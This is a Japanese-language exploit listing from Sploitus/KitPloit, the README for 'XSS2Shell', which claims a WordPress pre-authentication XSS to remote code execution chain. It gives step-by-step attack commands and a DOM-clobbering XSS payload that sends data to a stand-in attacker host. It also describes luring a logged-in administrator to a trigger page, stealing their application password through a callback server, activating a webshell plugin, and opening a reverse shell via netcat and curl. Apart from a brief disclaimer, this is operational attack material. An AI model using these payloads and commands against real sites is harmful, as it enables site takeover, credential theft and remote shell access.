Sploitus

Exploit for XSS2Shell

kitploit · 2026-08-30

Exploit Code

MARKDOWN211 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JENDMAOUL-XSS2SHELL-CVE-2026-64638
# CVE-2026-64638 — XSS2Shell

**WordPress 事前認証反映型XSS → リモートコード実行チェーン**

> DOM Clobbering + アプリケーションパスワード窃取 + REST API プラグイン有効化 = 完全なRCE

![Python](https://img.shields.io/badge/python-3.8+-blue) ![CVE](https://img.shields.io/badge/CVE-2026--64638-red) ![License](https://img.shields.io/badge/license-MIT-green)

* * *

## ⚡ 概要

CVE-2026-64638 は、WordPress の `wp-login.php` における重大な**事前認証型反映XSS** です。この脆弱性は、ログインエラーメッセージが送信されたユーザー名を**適切なHTMLエンコードなしで** 反映するために存在し、`<area id=ajaxurl>` によるDOM Clobberingを可能にして、ほとんどのフィルタを回避します。

WordPress のアプリケーションパスワード機能と連鎖させると、このXSSは**完全なリモートコード実行** ベクタになります — ログイン済みの状態で細工されたトリガーページにアクセスする以外、ユーザーの操作は不要です。

### 攻撃チェーン

root@kitploit:~
    
    
    ┌─────────────────────────────────────────────────────────────────┐
    │  [1] XSS (Reflected)                                            │
    │      wp-login.php reflects <area id=ajaxurl> in username error   │
    │                          ↓                                       │
    │  [2] DOM Clobbering                                             │
    │      <area id=ajaxurl> hijacks wp-admin JS → auto-submits form   │
    │                          ↓                                       │
    │  [3] Application Password Theft                                 │
    │      XSS redirects victim to authorize-application.php           │
    │      success_url callback captures app password                  │
    │                          ↓                                       │
    │  [4] REST API Plugin Activation                                 │
    │      App password → Basic Auth → wp-json/wp/v2/plugins → active  │
    │                          ↓                                       │
    │  [5] Webshell RCE                                               │
    │      Plugin PHP webshell → uid=33(www-data)                      │
    │      Reverse shell also available                                │
    └─────────────────────────────────────────────────────────────────┘
    

* * *

## 🎯 影響を受けるバージョン

* * *

## 📦 要件

root@kitploit:~
    
    
    pip3 install requests
    

これだけです。その他はすべて Python 3.8+ の標準ライブラリを使用します。

* * *

## 🚀 使用方法

### クイックスタート

root@kitploit:~
    
    
    # Clone
    git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
    cd XSS2Shell-CVE-2026-64638
    
    # Auto mode (recommended)
    python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
    

### モード1: 自動 (検出して最適なモードを選択)

root@kitploit:~
    
    
    python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
    

  * XSSが可能かどうかを検出 → XSSチェーンを使用
  * XSSがパッチ適用済みの場合は直接認証情報モードにフォールバック



### モード2: XSSチェーン (認証情報不要!)

root@kitploit:~
    
    
    # Terminal 1: Run the exploit (starts callback server)
    python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
    
    # Terminal 2: Host the trigger page
    cd /path/to/XSS2Shell-CVE-2026-64638
    python3 -m http.server 8000
    
    # Send victim: http://192.168.1.100:8000/trigger_target.com.html
    

被害者はWordPressに**管理者としてログインしている** 必要があります。トリガーページは次のことを行います:

  1. 隠しiframeを介してXSSペイロードを `wp-login.php` に自動送信
  2. 被害者が承認するための `authorize-application.php` を開く
  3. コールバックサーバーを介してアプリケーションパスワードを取得
  4. REST APIに対してそれを使用してWebshellプラグインを有効化



### モード3: 直接 (認証情報が必要)

root@kitploit:~
    
    
    python3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
    

直接ログイン → プラグインアップロード → 即座のWebshell。XSSは不要です。

### リバースシェル

root@kitploit:~
    
    
    # In one terminal
    nc -lvnp 4444
    
    # In another — the exploit auto-triggers reverse shell when --lhost is set
    python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
    

またはWebshell経由で手動実行:

root@kitploit:~
    
    
    curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
    

* * *

## 📂 ファイル

root@kitploit:~
    
    
    XSS2Shell-CVE-2026-64638/
    ├── poc_fixed_v2.py              # Main exploit script (dual-mode)
    ├── poc.py                       # Original PoC (for reference)
    ├── trigger_192.168.0.87.html    # Example trigger page
    └── README.md                    # This file
    

* * *

## 🔬 技術的詳細

### XSSペイロード

root@kitploit:~
    
    
    < area id=ajaxurl shape=default href="http://attacker:9090/collect" >
    <button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
    

**仕組み:**

  * WordPressの `sanitize_user()` は標準的なHTMLタグを除去しますが、先頭にスペースがある `<area>` は見逃します
  * `<area id=ajaxurl>` はDOM Clobberingを実行します — wp-adminのJavaScriptが使用する `window.ajaxurl` を乗っ取ります
  * `wp_auth_check` インターバルが発火し、XSSが被害者を `authorize-application.php` にリダイレクトします
  * `success_url` パラメータが生成されたパスワードを攻撃者のコールバックサーバーに送信します



### 権限取得後

アプリケーションパスワードが取得されると:

  * **REST API** : `/wp-json/wp/v2/` に対して被害者として認証
  * **プラグイン有効化** : `{"status":"active"}` を含む `POST /wp-json/wp/v2/plugins/{slug}`
  * **Webshell** : `wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND` にアクセス
  * **リバースシェル** : `?rev=IP:PORT` が `/bin/sh -i` を攻撃者に返送



* * *

## ✅ 検証済み環境

* * *

## ⚠️ 免責事項

このツールは**許可されたセキュリティテストおよび研究のみ** を目的としています。作者は誤用に対する一切の責任を負いません。テストの前に必ず書面による許可を取得してください。

* * *

## 📝 クレジット

  * **PoC開発** : linuxhackingid
  * **CVE** : CVE-2026-64638



* * *

> **「エクスプロイトがなければ、レポートもない。」** — Shannon方式